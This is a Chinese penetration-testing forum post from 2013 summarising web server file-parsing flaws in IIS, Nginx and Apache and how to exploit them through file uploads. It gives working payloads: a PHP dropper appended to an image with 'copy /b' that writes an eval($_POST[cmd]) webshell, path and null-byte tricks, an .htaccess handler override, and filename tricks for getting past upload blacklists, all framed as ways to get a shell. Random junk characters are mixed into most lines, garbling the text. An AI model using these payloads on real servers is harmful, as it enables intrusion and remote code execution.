中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
! z  r# [% L) `( ~; h& E: b& a[+]IIS6.0. |" N' V6 s* H" D
* O1 @0 ~, r) p3 J  s
目录解析:/xx.asp/xx.jpg
- @) L7 b- N' B xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
9 C5 G; r! N% F. I" Y& m) f8 ? IIS6.0 会将 xx.jpg 解析为 asp 文件。
" `" A* d. n4 F  `1 }9 y后缀解析:/xx.asp;.jpg     3 G. Z& i- G) _6 {
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: I1 z# s; v: {. \
默认解析:/xx.asa
% c5 m! i( L3 k% v( m- `" P         /xx.cer! I6 Y  i+ p8 c2 O9 N, k/ c& ~0 I
         /xx.cdx1 ^+ W0 o  n. o: B4 ]4 G1 w$ |4 k& d
IIS6.0 默认的可执行文件除了 asp 还包含这三种
; G( a0 p' i5 T4 H  @ 此处可联系利用目录解析漏洞 * [  Y/ H/ q8 F& F8 v  P" Z7 [
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg* T% L5 w3 w6 f4 S# V8 l/ w
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
! t9 q, ~3 t3 g* M  d0 f4 U; N7 w * U0 F; Z2 s9 Y& h
IIS 7.0/IIS 7.5/Nginx <0.8.03
% k+ O7 D. [2 m; y8 S$ P 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
& S4 f. X1 V9 j8 ^9 L& z1 U 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。+ c# j+ k' ^% f# ]7 e, q
常用利用方法:
, G. _" z* V# M% Y( I% s 将一张图和一个写入后门代码的文本文件合并将恶意文本
8 ^; `* B! a% P7 N 写入图片的二进制代码之后,避免破坏图片文件头和尾
$ M; x9 Z9 n: O2 r- S 如:
; C% {4 b3 O( Y! I copy xx.jpg /b + yy.txt/a xy.jpg! p4 {' b1 q4 h  N
#########################################################1 v* n& l2 f/ x# k! ]$ v+ z; L
/b 即二进制[binary]模式
" M! b: g7 s3 ^( y, m4 B /a 即ascii模式
2 [0 g" ?  D, x. d1 |" o xx.jpg 正常图片文件+ }- W7 D+ N7 f3 G% }: L
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
( t% {: z/ w/ a- s* b '<?php eval($_POST[cmd])?>');?>
% ~  g2 t0 n/ [& ] 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
7 _4 P6 m- v- D1 f 为shell.php的文件1 H; _  p% h9 i
###########################################################
$ t5 R. Z$ R: t* |: q 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
& w) g  B3 }' v0 T# ^+ P 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
4 U  @$ w) L5 ?4 ? 密码 cmd
6 n: H% h2 |& \[+]Nginx <0.8.03( l1 F3 ]- `) f# M
8 l+ h& g8 s# ^$ h4 a+ S' e
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞( b! A/ r8 u5 M" S1 X9 Q
在一个文件路径(/xx.jpg)后面加上%00.php
# z' k1 R3 h( f9 A) M% g( u 会将 /xx.jpg%00.php 解析为 php 文件。$ J% `4 `- d. d3 Z- s& k- O
[+]Apache<0.8.03
- M) ]% ~0 f  f& T9 [7 D( a6 D2 x , O, |1 V: u3 @/ E1 b  o  {
后缀解析:test.php.x1.x2.x3, t9 O% e4 G1 x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
1 l1 K6 I5 r) P$ w: U3 } 再判断x2,直到找到可识别后缀为止,然后将该可识别
! Q7 D* T3 H0 j 后缀进解析test.php.x1.x2.x3 则会被解析为php
4 N& U5 L$ _& V4 z7 V4 n, q 经验之谈:php|php3|phtml 多可被Apache解析。$ e2 \# Q& [, i- @6 c' V
[+]其他一些可利用的
4 [. e& B8 b. H8 Z& b" Q$ x# G
/ W8 B, z! z0 W1 `" o* P/ n7 G在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
6 ?: I+ U7 C. [) I# J  E若这样命名,windows会默认除去空格或点,这也是可以被利用的!
) p: F" R, u( i2 W- }) z& b! O在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
1 ~5 G6 v4 z( S或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
/ Z( y8 Q! {5 d. W+ T3 V得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。% B: @/ @4 Q" E* z9 [/ v
{Linux主机中不行,Linux允许这类文件存在}
( }, O  N0 b" O- v- \如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说5 k" w# {- Z' T, \! D* U
的,当初我并不知道),且可以被上传,那可以尝试在' ^- y: j) x8 a1 u( R% c
.htaccess中写入:% i3 O" U; `# p, G; j4 P' U% Y/ G! S
<FilesMatch “shell.jpg”> ; d% A: f+ b: _# {9 d( R
SetHandler application/x-httpd-php / q7 g1 H! ?& y9 x; v) `
</FilesMatch>
! C( o% H8 V0 j4 b, ]% A* F6 Jshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件: G: y9 ^9 X2 s% b& t
[+]错误修改
9 j3 ~0 I/ x: N' J ) J  z7 d. _& b- ^$ C
在 IIS 6.0 下可解析 /xx.asp:.jpg
9 R/ Q) @, K% m( }6 v9 S) N{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
2 _8 j9 e# R9 u剩下/xx.asp}修改:
# M: W/ \$ f5 _9 a# `1 n3 |# n先谢谢核攻击的提醒0 m. b* v" L, d, P) q
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp* d  y" i& _! T+ k: i* \; ]4 R
里是没有任何内容的,因为。。不好解释 大家自己看9 R9 u' j$ L, I
http://lcx.cc/?i=24485 Q, d' [# t" |1 q1 a  |$ g
http://baike.baidu.com/view/3619593.htm! Q* b' Y7 o$ O
( F! n6 \/ S; ]





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2